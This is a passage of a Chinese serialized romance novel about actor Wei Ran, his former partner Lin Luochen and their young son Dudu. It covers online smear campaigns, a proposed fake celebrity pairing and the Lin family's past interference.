可蔚染从来不是情绪化的，最终还是将这种心里发酸的情感按下，他抬手止住林洛宸靠近的身影，按昨天已经想好了的说：“尽管嘟嘟也是你的，但嘟嘟只能跟我。” “这是当然。” 林洛宸下意识答应，又反应过来：“……什么意思，你不跟我吗？” “……跟你？” 蔚染摇了摇头：“我现在的生活很好，嘟嘟的生活也很好……抱歉，我不想改变这一切。” “……” 林洛宸看着眼前瘦削立直的青年，微微动了动喉咙：“……当然，我不会改变你现在的生活……” “嗯，那就好。”蔚染说着便撇开头回身，看那样子，这就要拉开房门出去了。 “等等！” 林洛宸冲上前来按住蔚染。 因为太心急，直接按在蔚染的手上。 蔚染的手，即便还带着拍打戏时磨出的茧子，但十根手指修长匀称，林洛宸摸在那上面，便移不开了。 他干脆一把握住了那只手。 “蔚染……” 此时蔚染的反应，比他们第一次重逢见面时可要淡定得多。 可蔚染越是淡定，林洛宸心里就越没底。 “蔚染，你没话跟我说了？” “你还需要问什么？” “你，你那时候，为什么不告诉我……” 蔚染静默了片刻，说：“得知有嘟嘟时，我们已经分开快四个月了。那时候我已经联系不上你了。” 林洛宸：“…………” 按照时间推算，那个时候林洛宸应该已经出了车祸，变成植物人被家里安置在了墨尔本。 但对于林洛宸来说，这并不是一个自己可以被原谅的理由。 ——在那之前的头两个月，林洛宸的母亲、也就是蔚染的老师，因病去世。 他们在葬礼上见过一面。 所以此刻林洛宸才会这么心虚。 那时候他刚被蔚染甩了一个月，母亲又病逝，他心情极度低落。……见到蔚染时，他们并没有讲话。 不是自己不记得了。 那是一次真真正正的“对面不识”。 即便——林洛宸现在回想起来，也还记得那天的蔚染脸色极差、整个人摇摇欲坠。 可参加葬礼的人，不都是这样的吗？ 更何况他母亲是蔚染最敬重的恩师。 …… …… 如今想来，倒很可能是因为蔚染那时候的身体…… “蔚染，我承认我最开始刻意回避你，但如果后来我没有出车祸……” “没关系的。”蔚染打断他。 话少的蔚染很少会打断人讲话，但现在的蔚染却过分清醒。他打断林洛宸说：“即便能联系到你，我也不会找你。” 提起往事的时候，蔚染的语气间并无丝毫委屈和抱怨。 “因为我当初的决定不会变。嘟嘟只是个意外。”他颇为冷酷地说。 林洛宸：“……” 事情就又回到了，蔚染当初为什么要跟他分手。 那时候蔚染说，他要当明星，明星是不能谈恋爱的。 “所以你的意思是，你是因为不能谈恋爱甩了我，但却留下了嘟嘟，甚至还为了生宝宝暂时退圈、独自远渡出国？！……” 蔚染：“……” 背对着林洛宸，蔚染长睫都狠狠抖了下，他尽量让自己稳住，说：“只是那时候想不要也不行了。” “……” 略微调整了下呼吸，蔚染把自己的手从对方的掌心下抽出来，继续平静道：“就是这样的林洛宸，我甩了你是为了飞黄腾达，生下嘟嘟是无可奈何。我的野心从来没有变过……但或许是我没有成为超级巨星的命吧。” 蔚染苍白的面孔上，孱弱和倔强缠绕交织。 明明身形细瘦、下颌线明显，纤薄的身形经受不了一点风浪似的。 可他就是始终屹立着，在深吸口气、调整了下呼吸后，保持着直立不屈的姿势。 他说：“你不要把我想得有多好，林洛宸，我只是个俗气、普通，又没有什么本事去成功的人。” “……” “我喜欢嘟嘟，是因为嘟嘟很可爱、嘟嘟值得。” 蔚染难得话多地说：“我愿意为了我的宝宝做一切事，但那并不意味着我以前、或者现在就是个好人，也并不代表你是特别的。” 绵羊音尾音声线懒散尾音拖长，身为演员特意练习过台词的人，吐字清晰。 蔚染说着又晃动了下睫毛，这一次向旁侧退了一大步远离对方，他问：“你明白了吗？” 感受到身后之人的怔愣和凝视，尽管最后的话语是询问对方的，但蔚染知道，谈话已经就此结束了。 五年前，他对林洛宸说分手的时候，仅用一个“自己要做明星、不能谈恋爱”的理由便足以。 五年后，竟然要多费这么多力气，如此剖析自己。 越发不好应付了。 不过没关系，蔚染也无所谓。 因为他的诉求真的只是想平静地过好此后的每天而已。 蔚染退开了，林洛宸却站着没动。 他堵着门，蔚染出不去，只能抬眸看向对方。 五年前他提分手的时候，林洛宸不解震诧，接着就是愤怒。 可现在，对方只是安静地站在那里。 于是轮到蔚染眼中浮现出些许诧异。 林洛宸忽然问他：“你以为你是那样的人的话，我就不会再爱你了吗？” “……” “没用的，蔚染。” 不等他回答，林洛宸已经开口，语气斩钉截铁：“我只会爱你。”—— 作者有话说：中秋快乐宝宝们，随机掉落一波小红包[奶茶][奶茶] 第33章 林洛宸说：“我只会爱你。” 房间内沉静下来, 蔚染没出声。 林洛宸看着他发白的侧颜，再度深吸口气，厚着脸皮问：“是不是林家, 是不是我爸？是不是他们要你离开我。” 事已至此，林洛宸开始更相信蔚染只是嘴硬。 过去他没有自信蔚染是喜欢他的，因为蔚染离开得太决绝了，因为蔚染的确是个会为梦想拼尽一切的人, 因为他们统共只在一起两天…… 林洛宸没自信。 可自从知道嘟嘟也是自己的孩子以后, 有什么就不一样了——在蔚染家楼下站了一夜、想了一夜，心中最初燃起豆亮的烛火竟然已经有了燎原之势。 他也说不上怎么了, 但就是觉得，当年自己对于蔚染来说, 或许也不是那么不重要。 当然这些其实也不重要了。 林洛宸更关注的, 只是当年真正发生在蔚染身上的事—— “是不是他们欺负你？” “……欺负我？” 蔚染一阵恍惚, 本以为自己又要解释当年是自愿拿了林家一千万的事…… 但林洛宸问的是, 他有没有被欺负。 “……我没有被欺负。”蔚染回答说。 “说谎。” “是真的。”蔚染低眸, 长睫在眼底散落一片阴翳, 他说：“我真是自愿离开你的。” “……蔚染。” “还顺便拿了你们家一笔钱。” “蔚染。”林洛宸阻止对方继续说下去：“我是说，我们分开之后你被打压、被霸凌网暴，是不是林家在背后搞的鬼。” “……”蔚染稍微停顿了。 林洛宸已经阴鸷一笑：“没关系，我会查到，一定还你个公道。” 蔚染还陷在怔愣当中，他感觉自己真的变笨了，跟不上林洛宸的脑回路了。 但很快他摇摇头说：“真不是你爸。” “……我跟你分手是六月份，我被资本制裁，是八月份以后的事。” 蔚染平静地解释：“我都已经离开你了，你们家又怎么会再欺负我。” 林洛宸却说：“可我爸的秘书, 在那年八月份的时候，联系过你之前的那家经纪公司。” 蔚染：“……” “我爸对娱乐行业一窍不通，为什么偏偏联络了你的公司？” 蔚染说：“……算了吧，林洛宸，不要再纠结过去了。” 林洛宸已经断定蔚染一定是被欺负了。 “或许是我爸或者老爷子记仇。”这是林洛宸能想到的最大可能——他们认为自己的车祸是蔚染害的，是蔚染害得他心神不宁、才出了事故，或许就是这样。 蔚染：“……” 蔚染干脆没出声。只在片刻后、略略低眉道：“比起这个，既然你已经答应我，嘟嘟只能留给我带，那就还请你搞定你们家人那边。” 林洛宸：“……嗯。” 蔚染仍旧低眸，这才是他真正想对林洛宸说的，也是他考虑了许久的决定：“我不知道你们林家对嘟嘟的态度会如何，但自从你把嘟嘟带去过公司后，你父亲应该就已经知道，嘟嘟是我的孩子了。” 林洛宸望着蔚染，他记忆里的蔚染一向聪明机灵，很会判断形势，就如现在这般。 后来他看到网上都说蔚染“傻”、“反应慢”，这可与他记忆中的蔚染完全不同。 蔚染从不傻。之前只是累的。或者说，他是将自己保护起来了。 外面的刀光剑雨太尖锐，蔚染还要顶着风雪一直走下去……那就只有什么都不懂、什么都不知道，什么都识别不了。 才能继续坚强前行。 林洛宸喉结上下滑动，看向蔚染的眼睛只有疼惜，有千言万语想说。 蔚染仍在继续说：“所以林家查出嘟嘟与你的关系，也只是时间的事。” ……既然林洛宸回来了，还对他“死缠烂打”，那么依林家长辈们的个性，自己的事早晚都会被查出来。 就算林洛宸无意抢走嘟嘟，林家的人却未必不会。 或者更恐怖的，傲慢的林氏家族成员们，容不下嘟嘟的存在。 …… 蔚染知道自己必须早做打算。 这就意味着或早或晚、他都会叫林洛宸知道嘟嘟跟他的关系——只有林洛宸可以阻止林家的人了吧。 蔚染没有可以抗衡林家的人脉。 幸好，分开后这么久再见，林洛宸也还是愿意尊重他、听他的。 目前林洛宸的态度，算是让蔚染吃上了颗定心丸。 嘟嘟又跟对方玩得好，这算是喜上加喜，所以蔚染才会同意让林洛宸“帮忙”带嘟嘟，也不介意林洛宸带嘟嘟去公司。 眼下，他必须让林洛宸知道问题的严重性：“你家人未必会肯将嘟嘟留在我身边，或者他们不喜欢我们父子，会将我和嘟嘟驱逐。” 林洛宸沉默地听着。表情严肃的，很显然也在思考。 蔚染说：“这是你跟你家里人的事，你需要解决。” “明白。”林洛宸当即表态道：“没有人能伤害你和嘟嘟。” “……嗯。”蔚染略微点了点头。 真正要说的事情，到此也已经说完。 林洛宸还站在原地，不让开门口，蔚染就只好提醒道：“那我们出去了？” “……” “吃早餐了。” “…………” 林洛宸扭过头看蔚染，问他：“那我们呢？就这么完了？” 蔚染再度低下头，静默起来。 林洛宸恍然明白，蔚染该说的的确都已经说完了。 ——他连自家对蔚染做过什么事都没有搞明白，有什么资格跟蔚染谈“他们间的事”？ ……如果当年蔚染跟自己分手，也还有其他原因的话。 如果是那样的话，以蔚染的坚强、认死理和倔强，林洛宸都想象不到林家该是用了什么强劲的手段，才能逼得蔚染就范，以及这么多年后还是不愿跟自己说出真相。 绑架了蔚染全家？还是威胁了蔚染什么？ 林洛宸知道，这些才是眼下他最需要弄明白的事。 “不能就这么算了。”林洛宸一语双关。 蔚染闭了闭眼，抬手又想搓脸皮，但最后也只是用手指在眼睛周围点按了几次。 重新拉开房门，嘟嘟还在饭厅里吃着餐包。 包子一样的小手举着一只酱肉包，嘟嘟顶着鼓囊囊的小奶膘叫爸爸。 “爸爸，快过来，吃包包惹。” “唉。” “唉。” 蔚染和林洛宸同时应了一声。 先一步走出房间的蔚染猛地回头向后看了一眼，眼里有警告。 林洛宸继续心虚，但望向蔚染的狗狗眼透出了委屈。 饭厅的嘟嘟却没反应过来异常，只是又甜甜地叫：“林爸爸，吃包包惹！” “唉！”林洛宸应了一声，瞬间展开笑颜。 蔚染：“……” 好吧，日子如果都按今天这样这么过，也还行，他就已经挺满意的了。 但事实上今天也不能算是特别平静的一天。 蔚染昨天公开的事，在网上炸开了锅。 尽管社会新闻上经常报道男性生子的事，嘟嘟是蔚染亲自生的不算什么大事，但蔚染主动承认这一点，也只是把王佳昕给摘出去了。 他自己则沦为众矢之的，简直就是在给对面递刀。 “黑你的人估计都乐疯了。”这点季养运昨天晚上已经批评过蔚染了。 不过他了解蔚染的个性，就像当初说什么也要公开承认嘟嘟的存在一样，蔚染也从未想过要隐瞒是自己生下的嘟嘟，这个事实。 以前不说，只是不重要，也没人在乎。 现在是说了就说了。 “这段时间你还是别上网了，我来处理。”昨晚季养运说。 蔚染发文后，王佳昕是被撇清关系了，但一瞬间，质问和猜测嘟嘟另一个爸爸身份的声音就热闹地响起，还有说蔚染没底线、滥.交，男女通吃，玩的花之类。 营销号的推测和造谣漫天飞。 背后的推手更是要把蔚染在观众心目中的印象，从韦玉书的清冷高洁拉到另一个极端。 当年蔚染也是这样被黑的。 黑词条天天被挂在热搜前排，经纪公司趁火打劫不作为。 那会儿蔚染的粉丝大把大把地掉不说，还有不少是来回踩的，品牌商们也纷纷与他解约。 蔚染没有经验，在他世界里自己做了就是做了，没做就是没做，所以对于那些莫须有的污蔑，他也曾试图跟那些抹黑他的人辩驳、跟自己的粉丝解释。 后来发现想黑他的人其实并不在乎他想说什么，他们只要自己能黑下去，什么歪曲事实断章取义的事都能做出来。 而粉丝们也有自己的生活，大部分也都只是吃瓜路人，能费心看完蔚染澄清的都少之又少，愿意发声的人更少。 季养运知道蔚染那会儿深受其害，黑热搜就是蔚染的噩梦之一。所以他告诉蔚染不要看了。 但蔚染发现，自己已经比想象中的变得坚强了许多。 他不需要再被人认可，无所谓被不被污名化，只想把今天的事儿做好，心情上倒没被影响什么。 而且从昨晚开始，即便一直有营销号在带节奏，污蔑暗指蔚染私生活不检点，那些黑热搜黑词条也很快就被撤下，他超话里面依旧一派祥和。 支持、祝福蔚染的声音更多。 想到蔚染那些年不容易的粉丝都跟着哭。 还有一部分粉丝依旧吵着要看蔚染的宝宝。 果然带节奏的声音被屏蔽，世界就安宁了许多。 蔚染也已经想到是谁做的了。 “是你在帮我撤黑热搜？”他问一桌之隔的林洛宸。 季养运那边虽然也在行动，但工作室能力有限，现在网上被打扫得这么干净，不是他们这个团队的实力，肯定还有其他势力在帮忙。 “嗯。” 林洛宸随意应了一声，他正跟嘟嘟分煎蛋—— 嘟嘟已经吃不下一只煎蛋了，就想要把煎蛋分成四等分，爸爸一份、林爸爸一份、王奶奶一份，然后就是宝宝自己的一份儿~ 尽管王奶奶说不要，林洛宸也可以不吃。但他还是握着嘟嘟的小手，跟嘟嘟一起把一小枚煎蛋尽量地分成四等份。 林洛宸回答蔚染问题的声音也很淡，仿佛这就是他的职责所在：“放心，一切有我。” 蔚染：“……” 片刻后。 “……等会去睡一下吧。”蔚染忽然又说。 林洛宸抬头看他。 蔚染正低头咬包子，“一宿没睡呢吧。” 桌子那边，忽然传来林洛宸的一声笑。 低头咬包子的蔚染极少不顾及形象地翻了个白眼。 傻不傻啊。 他很想说。 尽管没说，林洛宸却像是知道他要说什么似的，开口道：“我睡不着，想见你，又怕打扰你。” 蔚染：“……” 这下更不敢抬头了！ 不过蔚染想多了，饭桌边上，嘟嘟还小，听不出个所以然来。 王阿姨倒是看向了蔚染，也跟着看了看林洛宸，眼里却没有什么惊诧……她都已经习以为常了。 吃过早饭，林洛宸打算听从“蔚染的安排”，去睡一下。 但睡在哪里又成了一个问题。 嘟嘟的床很大，毕竟平时蔚染经常和宝宝一起睡。 但想装下林洛宸这么大一个人还是有点困难。 之前林洛宸带嘟嘟午睡过，由于他自己只能屈膝侧卧才能躺下，都导致嘟嘟没有翻身的余地了，宝宝就只能跟着林爸爸一起屈膝侧卧，奶呼呼地团成一枚小团子。 嘟嘟本身对于睡觉姿势没要求。 但平时他一个崽崽自己睡在大床上时，可是从床头滚到床尾的，那次忽然没有滚来滚去的余地了，嘟嘟就没有睡好，过了傍晚就开始打哈欠。 那之后林洛宸就没在蔚染家小憩过。 而今天，他显然不想回去睡。 ——要是回去能睡着，他至于在蔚染家楼下站一宿吗？ 但在蔚染这里睡，沙发装不下他、嘟嘟的床也不适宜分给他……蔚染没辙，就只能让林洛宸去自己床上睡。 他们两个都读书时，相处到了后期，林洛宸每周末都会去找蔚染。 那时候每个晚上他都是跟蔚染睡一张床上的。 而别看蔚染长得白净细致，其实还真不挑这个——在剧组拍大夜戏时，有张通铺睡就不错了，大泥地里他都睡过，蔚染没有这方面洁癖。 “你先去洗洗吧，然后睡那。”他把林洛宸带回了自己房间，指了指床铺，又自己来到床头柜边：“……我拿点东西。” “好。”林洛宸不疑有他的去洗漱了，蔚染趁机打开了自己的床头柜。 假模假样地拿出两个本子，之后又从里面掏出一个精致的小盒子。 盒子里面是一枚一美元的硬币。 知道林洛宸大概率不会在自己房间里瞎翻东西，但蔚染还是不放心，偷偷将小盒子转移了阵地. 在蔚染团队和林洛宸安排的团队同时公关下，一上午过去，黑蔚染的营销号基本已经消停了，甚至经常关注热搜的还发现，今天真是难得风平浪静的一天。 只不过中午的时候，一条#蔚染 施文耀CP#的热搜又闯入了大众视野。 蔚染早些年拍戏，第一部电视剧就是一个同性题材的剧，合作演员就是施文耀。 那部剧虽然扑了，施文耀如今也没落到许久没听到过他的消息，但大概是好奇蔚染孩子另一个爹的大有人在，不知怎么，他跟施文耀的cp词条就冲上来了。 【蔚和施是六年前一起拍的戏？那时间正好对上了啊！】 【啊啊啊我还记得施文耀！他这些年怎么了？好像没消息了】 【谁懂啊，我真嗑过他俩CP！施当年还是很帅的，然后那时候的蔚染啊啊啊啊啊真的超级好看！】 【我去，我找到资源了，看了一眼，好像挺带感】 【感谢推荐，正好二刷完夜将行剧荒了，我怎么没想到去找蔚染以前的剧看呢！】 【卧槽什么意思，所以你们是说蔚染的老公是施文耀吗？？】 ……—— 作者有话说：林总一觉醒来，天塌了[狗头][狗头][狗头] 第34章 尽管那篇道出事实的文章中, 蔚染有声明，嘟嘟的另一个父亲并不是圈内人士，且早就没有了联系。 可还是有不愿此事轻易罢休的人, 把跟蔚染熟识的圈内男士都猜了个遍。 但那毕竟是发生在五年前的事。如今与蔚染合作、有交集的人都是他这几年才认识的，并不会波及影响到这些人。 且蔚染本身过于洁身自好，真扒不出什么异常。 五年的时间对于娱乐圈来说已经足够长了，很多东西都很难再考古, 网上这才平静半天。 然后也不知道是谁, 就把施文耀给扒出来了。 蔚染接拍的第一部电视剧的确是个同性题材的电视剧，耽美大IP改编, 但制作班底差了一些，另一个男主就是在当时人气热度, 跟蔚染都差不多的施文耀。 因为原著本身就是双强偏剧情流的设定, 蔚染和施文耀这样旗鼓相当的人联袂出演, 在前期宣传阶段就很容易赚足噱头。 当时很多投资商都很看好这个项目。 但其实按理来说, 以蔚染要被他们公司打造成“全能明星”的方向看, 蔚染的第一部剧怎么都不应该接那部戏, 而应该去接更正剧一点的长剧，找一个好一点、靠谱一点的班底。 但当初公司给了蔚染很多理由要他接下这部剧。 其中最戳中蔚染的是，这部剧剧情感情双管齐下，他又是男一，戏份多，那么对于表演来说是很好的练习和磨砺的机会。 蔚染当时没想那么多，刚刚步入社会的他身上还带着一种清澈大学生的单纯和想当然。 他再早熟自立、也还不了解社会的阴暗远超他想象的百倍千倍，那时候就觉得自己第一次接戏就能接到男一，能有更多的锻炼机会，已经很难得了。 他那会儿在公司可谓是众星捧月, 但也还没飘到要公司把资源都倾泻给他。他也没想过要一炮而红，对于蔚染来说，他更愿意一步一个脚印地走。 基于这些考虑，蔚染便接下了那部戏。 谁知进组开拍以后才知道，制片方仗着这部剧是大IP、有基本盘，对待作品并不认真，拍摄过程中是“能省就省”。 导演水平一般，剧本被改的稀烂，整个班底都透着一种“不专业”的感觉。 而也是快拍完那部剧的时候，蔚染才知道，原来公司参与制作这部剧只是为了吸原著和演员粉丝的血，从最开始他们组建班底时，就从没有想过要把这部剧拍好。 公司的理念变成了这样，自然不再符合蔚染心中的要求。他那时候就想跑路。 那部剧也的确是扑了——播剧期间数据炒得不错，也的确吸到了粉丝的血，但烂剧注定是烂剧，最后反而要主创演员们来买单、挨骂。 那部戏后，蔚染和施文耀的口碑就开始下跌。 蔚染当然很不赞同公司的这一系列不尊重观众和粉丝行为，而且他那时候性子刚，有什么就说什么，为了这事没少跟公司的高层们吵架。 施文耀那边也是这种情况，但两个人在这方面算是难兄难弟，都没有后台背景，都年少无知被公司骗了，都在被资本打压着。 后来蔚染事业大滑坡、还出了国，两个人也没什么联络了。 这些年过去，如果不是他们的名字又出现在了一起，蔚染都快忘记这个人了。 “施文耀暂时联系不到。” 热搜被挂上去以后没多久，季养运就打电话过来说：“我联络了他工作室那边，还没有回应。感觉他也不在乎？” 作为同样淡出十八线的演员，施文耀倒没有蔚染身上的那股犟劲儿。 被公司打压后，他还挂在原来的公司里头，只不过被雪藏了，平时有能赚到钱的项目公司还会拉他出去赶赶通告，但人气已经大不如前，在这个圈内等同于是透明人了。 “我问了下朋友，他们公司不管他，他在圈内也接不到戏，除了偶尔上上综艺以外，主要就是下海经商去了，生意似乎也不景气。” 季养运对蔚染说：“如果他那边没什么反应的话，就算了，反正这边热搜已经撤下了。” “嗯。” 蔚染急着联系施文耀，也是因为不小心连累到了对方，心里过意不去。 但如果施先生深知这是场闹剧、本身并不在意的话，他也不会去打扰对方。 结果才跟季养运通完电话，一个陌生号码就打了进来，正是施文耀。 两个几年没联络过的、单纯是戏搭子关系的大男人通话，还是因为被误会成了cp，这聊天一开始还是有些尴尬的。 尤其是蔚染现在有点社恐。 但他还是率先跟施文耀表达了歉意，对方说没关系，却又开始支支吾吾。 寒暄了一阵后，施文耀提出真正的目的：“阿染，你想不想跟我炒个cp？” 蔚染：……？. 林洛宸是被助理的电话声吵醒的。 他这一觉睡得极沉。 大概是由于睡在蔚染床上的关系，也知道对方这次跑不了。于是嗅着记忆里无数次回想也想不起来的味道，熟悉的感觉让人心安、沉醉、难以自拔，他一闭眼睛就陷入其中。 这大概是这么多年来他睡得最好的一觉。 林洛宸确信自己恢复了嗅觉。 醒来时，鼻息间也慢慢的都是蔚染身上，淡淡洗衣液的香气。 不同于记忆里阳光和蛋糕的芬芳，但是却是蔚染的味道。 他在这种极度满足中下意识接起了电话。 然后在听清助理汇报的是什么以后，“砰”地一声，从床上翻折下来。 推开卧室门走出来的时候，蔚染正在客厅里讲电话。 “……参加恋爱综艺？你跟我，咱俩炒CP？……” 电话那边的提议过于出乎预料，蔚染反应不过来，下意识地跟施文耀确认。 施文耀在电话里解释：“是这样的……嗯，现在的这个情况，正好咱俩捆绑……我帮你抵挡负面新闻，顺便蹭你的热度……主要是之前有个节目组联系到了我，是个恋综，刚才导演也找了我，他认为这是个很好的机会，如果你现在有时间也愿意参加的话，那边可以随时开始录制……” 蔚染：“……” 身在娱乐圈的大染缸里，蔚染已经知道机会转瞬即逝。但即便如此，他还是对施文耀和那位恋综导演“审时度势”的能力感到佩服。 只不过炒cp这种事蔚染以前没干过，现在也不会干。更何况此事还涉及到嘟嘟。 蔚染正要拒绝。 施文耀：“我是觉得既然事情已经发生了，那不如我们就利用这个机会……” “这cp炒不了一点。” 施文耀还在那边说着，一道强横冷硬的声音便闯了进来。 这声音来得太突兀，施文耀直接被吓了一跳。而蔚染这边，他都没听到林洛宸起床的声音，所以对方忽然出声时，蔚染也被吓了一下，怔愣之间，手里的手机就被大步流星冲过来的人给夺去了。 林洛宸对着话筒说：“蔚染有cp，那就是我。我才是孩子的父亲，请问你哪位？” 蔚染：“……” 施文耀：“……” 施文耀在那边直接吓傻了，因为这道声音的语气—— 又冷又急。 像是要通过信号爬过去杀人。 谈话当然以施文耀讪讪的道歉后收尾，林洛宸果断挂断这通电话，仍旧觉得自己快气炸了。 他是不会对蔚染发火，但他从来没打算对其他人也克制自己的脾气。 本来没起床气的人此刻依然暴跳如雷：“什么鬼东西，没看见热搜都撤了吗，还需要他来帮你抵挡负面新闻？！” “他是不是傻，但凡知道你这几年都在干嘛，就应该知道你不屑于干这种事！他怎么有脸来问的？他根本就不了解你！” 蔚染听着，无奈地点按了下自己的额头，就任他发火，也没出声。 林洛宸倒是越说越气：“还趁机炒cp？亏他能想得出来，你是需要那点热度的人吗！？” “他、他、他竟然还想着要做嘟嘟的另一个爸爸！！” 最后一句，在外一向冷面端庄的林总，甚至是咆哮出来的。 本来嘟嘟正专心团坐在电视机前看动画片，听见他这一声咆哮，动画片都没吸引力了，嘟嘟瞬间晃动大脑袋向他们方向看过去。 ——嘟宝的另一个爸爸？？？ 触发关键词！ 接收到宝宝认真的、充满探究的视线，蔚染赶紧给林洛宸投去一个警告的眼神，要他小点声，之后对自家宝宝说：“没有人是嘟嘟的另一个爸爸。” 林洛宸：“……” 蔚染这么说，倒不是为了安慰自家幼崽、告诉宝宝自己不会给他找个后爹…… 而是他怕嘟嘟又跑出去认爹。 但这么说完，又觉得自己这话有一点点过分……林洛宸毕竟还在这里，也还好好的，自己直接说“没有人”是嘟嘟的另一个爹，感觉有点损。 于是他又跟宝宝改口：“再没有别人是嘟嘟的另一个爸爸了。” 嘟嘟：“哒？” 林洛宸：“！！！” 嘟嘟对爸爸两套说辞间的差异并没有概念，但依稀明白爸爸的意思是不会有别人再成为嘟嘟的爸爸，于是宝宝也安心了。 ……唔，已经有好几个干爹惹，尽管会将所有有可能是嘟嘟亲爹的人都收做干爹统一调教，但崽儿也不得不承认，人数太多的话，嘟宝也是应付不过来嘚儿！ 放心了，嘟嘟就重新把大头转回去面向电视机屏幕。 坐在地毯上的嘟嘟两只小脚丫相对、手肘撑在膝盖上，几乎将自己团成一个球形。 “宝宝，你的小后背。”蔚染低声提醒。 他觉得小朋友驼背问题，是需要从娃娃就抓起的。 嘟嘟听到提醒，果然拔直了脊背。只不过趁爸爸不注意的时候，就又逐渐把自己缩成一球了。 这是后话，暂且不提。 旁边的林洛宸，则已经被蔚染的一句话给安抚好了。 ……尽管是蔚染跟嘟嘟说的一句话。 甚至都不是对他说的。 但林洛宸的心情，却的的确确是雨过天晴了。 他把手机还给蔚染，问：“跟姓施的的事，你打算怎么回应？” 蔚染奇怪反问：“热搜不是都撤了么？不用回应。” 林洛宸：“……嗯。” 其实他想说，如果蔚染需要一个人来抵挡负面新闻和猜测，那么，那…… 他、也、可、以。 但转念想到早上蔚染跟自己说的事，林洛宸又瞬间冷静，并放下心底的奢望。 ——他们还远没有到可以公开这层关系的时候。 这么想着，林洛宸拿起挂在门口的外套，说：“我回趟公司，下午再过来。” “……呃。”蔚染眨眨眼，想说你不用过来的，可林洛宸风风火火，人已经这么蹿出去了。 开门关门间，带起了一阵劲风。 盘腿坐在地板上的嘟嘟、小西瓜头都被吹起了一撇儿，嘟嘟看了看林爸爸离开的方向，又看了看自己的爸爸，小声音嫩嫩地问：“爸爸，林爸爸不吃午饭了吗？” “……嗯。”蔚染走过去陪嘟嘟看电视，“不吃了吧。” 嘟嘟：“那不是浪费食物？爸爸还给林爸爸留了，午饭！” “那个没关系，我们可以晚上吃。”蔚染揉了揉宝宝的大脑袋。 将嘟嘟的头发理顺，之后就把宝宝捞过来放到腿上，蔚染指着电视屏幕问嘟嘟动画片里的内容。 难得有时间陪嘟嘟看动画片，他不想想太多别的. 离开蔚染家，坐到司机开过来的车上，林洛宸拿出自己的手机，给那个一直拨过来的号码回了个电话。 “……林洛宸！你是不是不想认我这个爸了！？” 林洛宸这会儿没心情扯皮，只语气平静：“找我什么事。” “你！……你，你看国内新闻了没有，蔚染他公然承认那个孩子是他……” “终于肯承认你们一直在监视蔚染了？”林洛宸嗓音很冷地打断对方，语气满是讽刺。 “……谁监视他！”林父气急败坏地解释，“如果不是你非要回国，又把那个孩子带到公司，我能关注他？！” 林洛宸说：“嘟嘟是我的孩子。” 林父：“……” 林父其实很想说，上次林洛宸这么说的时候，他就信了。 因为时间对得上。 而他其实比林洛宸更清楚，蔚染那段时间不可能有找过别人。 也正因如此，这事儿他不能提，一提林洛宸准炸。 林父调整了下情绪，说：“你爷爷想见见他们父子，你什么时候把他们带回来……” “什么时候把人带回去？”林洛宸一听这个，周身气息更冷了—— 他倒是想，可蔚染愿意吗！ 这些年的事历历在目，林洛宸话语间透着森然冷意：“要是没有你们在里头搅和，五年前吧。” 林父：“……” 林洛宸：“老爷子想见重孙，至少你们也要把当年对蔚染做过的事都告诉我。” 林父却不吃这套，当即气急道：“我们对他做什么事了？一切都是他自愿的！那是我们都同意了的交易！” 林洛宸不说话。搭在膝盖上的手下意识握紧，手背直接蹦起青筋。 林父语气更加激动地警告：“我们林家差那一个孩子吗？别忘了，你爷爷不只有你一个孙子！……就连你爹我，都不只有你一个……” 谈话失败。林洛宸讽刺地冷昳一笑，“哦，那就这样。” 说完，他直接挂断电话. 海外，墨尔本。 林元正也不是第一次被亲生儿子挂断电话了，但这一次，他更多的只是疲惫和无奈。 “阿宸的性格像他母亲，太倔……也太认死理了。”林元正放空了片刻，总结说。 “林总。”身旁的助理好心提醒道：“大少爷太正直，老太爷那边又着急见重孙，您看要不您就给大少爷那边服个软……” “我给他服软？我是他父亲！我还给他服软！？……” 助理压低声音劝说：“那还不是老太爷的身体恐怕扛不了太久了……他老人家最喜欢、最看重的就是大少爷，大少爷却一心扑在那位蔚先生身上……” “哼。”想到这件事林元正就气不打一处来—— 好好的北美市场，林洛宸说不要竟全不要了，一声不吭地就单枪匹马回了国，还挤走了他二叔…… 虽然这件事做得漂亮。 这些年林元正就一直被自己那个便宜弟弟压了一头，大儿子这次也算是让他扬眉吐气了一回。但…… “因为这件事，老爷子差点没被他气死。”一想到那两天父亲发怒的样子，林元正就浑身哆嗦，被吓得。 他父亲积威甚重是一方面，最关键的是老爷子身体一年不如一年了，最后谁来继承这份家业？ 林洛宸回国以前，原本是最有希望的人选…… 助理：“我听说，小少爷十分聪明伶俐，长得也精致，就跟大少爷小时候一个模子刻出来似的。老太爷嘴上说着气大少爷不识大体，可心里还是最疼大少爷的，那小少爷……说不定他老人家见了以后，会更喜欢呢？” 这话林元正倒是听进去了，他想了想说：“给我订张回国的机票。” 林洛宸不听他话，总想给那个叫蔚染的小明星讨公道。 那自己就再亲自去见见那个蔚染。 助理很快去订票了，林元正则还坐在沙发上回想着往事—— 要是那个时候，那个叫蔚染的青年来找阿宸时、他没直接以“阿宸不愿再见他”的理由把对方赶走，而是先问问理由就好了。 不过那会儿阿宸刚出了车祸，能不能活都是回事，谁有空搭理那小明星？！ ……但算算时间，那时候蔚染怀着他孙子，应该也有四个多月了吧…… 房间里，空留一声略带悔意的叹息—— 作者有话说：[可怜][可怜][可怜] 第35章 在家里休息了几天, 蔚染的精神头终于算是养足了。 但他的食欲还是没有回归，纵使王淑琴变着法儿地给他准备食物，林洛宸也经常提议要带他出去吃, 蔚染依旧没什么兴趣，吃的不多。 所以休息几天，蔚染不仅没胖，差点还掉分量了。 体重掉了倒无所谓, 关键是肌肉也在流失。在发现自己整个人都快趟软了的时候, 蔚染宅不下去了。 夹着嘟嘟就去了健身房。 蔚染健身的时候也是专心致志的，不会一边健身一边看电影之类, 顶多就是戴耳机听些动感音乐。 于是私人健身房内安静极了，体态修长的蔚染正在引体向上器上练背部, 另一边, 穿着儿童连体体操服的蔚嘟嘟, 则在坐姿划船器上躺平。 划船器座位的大小与嘟嘟身材差不多, 正好适合幼崽平躺在上面。 嘟嘟仰倒在上面, 百无聊赖地晃着小腿, 偶尔也会玩一下自己的小手表。 不是嘟嘟想偷懒，实在是这些器械都不适用于儿童。 别说玩器械了，嘟嘟不从夹缝里掉出去就不错了惹。 嘤！ 那些重重的哑铃，嘟嘟倒是勉强能搬起来。 不过爸爸担心宝宝会不小心砸到小脚丫，不叫嘟嘟碰。 为了不叫爸爸担心，嘟嘟也不会去碰！ 当然，在健身房里的嘟嘟也不是百无聊赖。 他很快接到了健身房里美女姐姐的投喂。 